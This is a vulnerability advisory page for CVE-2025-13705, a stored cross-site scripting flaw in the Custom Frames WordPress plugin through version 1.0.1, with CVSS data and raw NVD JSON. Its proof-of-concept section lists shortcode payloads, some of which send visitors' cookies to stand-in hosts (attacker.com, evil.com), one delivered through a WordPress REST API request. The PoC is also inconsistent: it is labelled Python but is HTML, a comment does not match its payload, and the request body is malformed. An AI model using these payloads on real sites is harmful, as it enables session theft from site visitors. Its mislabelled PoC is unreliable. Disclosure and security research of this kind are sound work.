Security Vulnerability Report
中文
CVE-2025-13705 CVSS 6.4 MEDIUM

CVE-2025-13705

Published: 2025-12-13 16:16:48
Last Modified: 2026-04-15 00:35:42

Description

The Custom Frames plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' parameter of the 'customframe' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Custom Frames Plugin < 1.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-13705 PoC: Stored XSS via customframe shortcode --> <!-- Attacker with Contributor+ role can inject malicious JavaScript --> [customframe class='" onmouseover="alert(document.cookie)" x="'] <!-- Alternative PoC with img tag injection --> [customframe class='x' onload='alert(String.fromCharCode(88,83,83))'] <!-- More sophisticated payload --> [customframe class='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- WordPress REST API exploitation --> <!-- POST /wp-json/wp/v2/pages/{id} --> <!-- Body: {"content": "[customframe class=\"\" onload=\"fetch('https://evil.com?c='+document.cookie)\"]\"}" -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13705", "sourceIdentifier": "[email protected]", "published": "2025-12-13T16:16:47.593", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Custom Frames plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' parameter of the 'customframe' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/custom-frames/tags/1.0.1/class.customframes.php#L65", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/custom-frames/trunk/class.customframes.php#L65", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/56f3aa7a-a6f2-42c7-b855-b083fe58f466?source=cve", "source": "[email protected]"}]}}